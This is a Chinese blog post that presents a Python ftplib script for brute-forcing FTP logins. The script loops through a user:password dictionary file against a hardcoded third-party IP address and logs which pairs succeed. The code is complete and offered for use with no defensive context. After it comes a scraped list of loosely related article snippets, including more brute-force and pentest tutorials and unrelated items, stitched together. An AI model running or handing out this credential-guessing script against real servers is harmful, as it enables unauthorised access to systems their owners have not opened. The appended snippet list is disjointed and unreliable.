暴力破解FTP服务器用户名密码
破解

今天的例子很简单,就是用python的FTPLIB模块,登陆ftp服务器。并尝试用户名和密码。

大概的逻辑是,假设远程主机上有FTP服务器,我们使用用户和密码文件,不断的尝试并登陆远程ftp服务器,如果正确,打印日志。脚本很简单,主要如下:

#!/usr/bin/python
#coding:utf-8
import ftplib
import logging
import logging.config
filename=''
logging.config.fileConfig('./logconfig.ini')
__log = logging.getLogger('product')

def ftpconn(host,filename):
    fp = open(filename,'r')
    for line in fp.readlines():
        __log.debug(line)
        if not line.strip('\r').strip('\n'):
            __log.debug("遍历完毕,脚本退出")
            break;
        loginname = line.split(':')[0]
        loginpwd = line.split(':')[1].strip('\r').strip('\n')
        try:
            ftpconn = ftplib.FTP(host,timeout=2)
            ftpconn.login(loginname, loginpwd)
            __log.debug("%s login sucess",host)
            ftpconn.quit()
            #return True
        except Exception as e:
            __log.debug("login %s failed,name:%s,pwd:%s, ,error info %s",host,loginname,loginpwd,str(e))
            #return False
def main():
    global filename
    filename = 'pwddict.txt'
    ftpconn('166.111.174.33',filename)
if __name__ == '__main__':
    main()

暴力破解FTP服务器用户名密码相关推荐

  1. Python黑客攻防(十四)暴力破解FTP口令

    注:本篇文章为个人学习笔记仅供学习交流,请勿用于非法用途. 参考:<Python绝技:运用Python成为顶级黑客>. 前言: 从安全方面考虑,网站允许匿名FTP访问似乎是很疯狂的做法.然 ...

  2. win10系统连接服务器的用户名多少,win10 ftp服务器 用户名和密码

    win10 ftp服务器 用户名和密码 内容精选 换一换 CDM支持周期性自动将新增文件上传到OBS,不需要写代码,也不需要用户频繁手动上传即可使用OBS的海量存储能力进行文件备份.这里以CDM周期性 ...

  3. 【Python脚本进阶】2.3、利用FTP与Web批量抓“ 肉机”(中):使用Ftplib暴力破解FTP用户口令

    一.简介 1.1.概述: 虽然匿名访问是进入系统的方式之一, 但攻击者也能成功地用偷来的用户名/密码访问合法的FTP 服务器.FileZilla 之类的FTP 客户端程序往往将密码以明文形式存储在配置 ...

  4. 利用kali暴力破解获取windows账号密码

    利用kali暴力破解获取windows账号密码 步骤一:打开图形化软件hydra-gk 步骤二:设置目标系统地址 步骤三:选择用户名和密码 步骤四:设置任务编号和超时时间 步骤五:检查配置,然后选择s ...

  5. 网站ftp服务器密码修改,ftp服务器忘记密码修改

    ftp服务器忘记密码修改 内容精选 换一换 远程登录的账号和密码是多少?登录云服务器的用户名和密码:Windows操作系统用户名:AdministratorLinux操作系统用户名:root登录云服务 ...

  6. ftp服务器账户密码修改,ftp服务器账号密码修改

    ftp服务器账号密码修改 内容精选 换一换 只有管理员可以设置敏感操作,普通IAM用户只有查看权限,不能对其进行设置,如需修改,请联系管理员为您操作或添加权限.联邦用户在执行敏感操作时,不需要进行身份 ...

  7. 暴力破解sshd服务的密码的小技巧

    暴力破解sshd服务的密码的小技巧 准备环境   1:在虚拟机上准备一台XP系统   2:开启两台

  8. 修改登录ftp服务器时用的密码,ftp服务器登录密码修改

    ftp服务器登录密码修改 内容精选 换一换 本文介绍如何在裸金属服务器操作系统内部修改登录密码.建议优先在控制台上重置密码,如果不可以,再尝试在操作系统内部修改登录密码.此处以CentOS 7.5版本 ...

  9. 安全测试(三) 服务器安全 渗透测试 常规服务器安全漏洞 高危端口暴露、弱口令密码、暴力破解、服务器提权、Mysql数据库提权等 浅谈《社会工程学》实战案例

    文章目录 一.前言 二.服务器安全 高危端口 2.1 端口号(Port number) 2.2 常见端口后及其用途表 2.3 端口号 扫描工具介绍 2.4 端口号 端口说明 攻击技巧 2.5 安全警示 ...

最新文章

  1. SpringBoot之错误处理机制
  2. 我常用的delphi 第三方控件
  3. AlphaCode能替代人类程序员吗?网友:被替代也挺好,这样就可以少写代码多开会了...
  4. 邁向IT專家成功之路的三十則鐵律 鐵律十七:IT人休閒之道-清心
  5. html 图片能重叠吗,css两张图片怎么叠加在一起?
  6. Spring Cloud Alibaba:@SentinelResource注解的使用
  7. URLClassLoader的使用
  8. 前端学习之路之CSS (一)
  9. SQL注入之错误注入_基于updatexml()
  10. MetInfo 5.1 自动化getshell工具
  11. 面向对象编程(十三)——面向对象三大特性之封装
  12. 智能优化算法:黏菌优化算法 - 附代码
  13. 使用iMazing将iPad中的视频文件导出至电脑
  14. zemax---窗口整体布局篇
  15. Linux命令行运行多线程程序 和 QT集成IDE下运行多线程程序的问题。
  16. 概率论与统计:条件期望与最小二乘法
  17. 线程池引发的故障到底该怎么排查?
  18. 中文网站搜索引擎网站收录提交地址大全
  19. *TEST 4 for NOIP 谨慎打表
  20. Dell服务器进入双系统按键,dell进bios按什么键 戴尔进bios的方法

热门文章

  1. 华清远见上海中心班--11.17作业
  2. MySQL代码分析(一)
  3. 计算机组成原理(3)三级存储 局部性原则 存储器性能指标 扩展 DRAM编址方式 cache 三种映射 替换策略
  4. Sequential Minimal Optimization: A Fast Algorithm for Training Support Vector Machines 论文研读
  5. 2021年中国体育彩票销售现状及全媒体时代体育彩票的营销策略分析[图]
  6. 全国小米信息流广告怎么样投放的,不限行业小米应用商店广告怎么样做的
  7. 群晖docker镜像源更换为阿里云镜像源
  8. 1871. 跳跃游戏 VII
  9. net.sf.ehcache.CacheException: java.io.OptionalDataException
  10. 最小生成树-graphics动画设计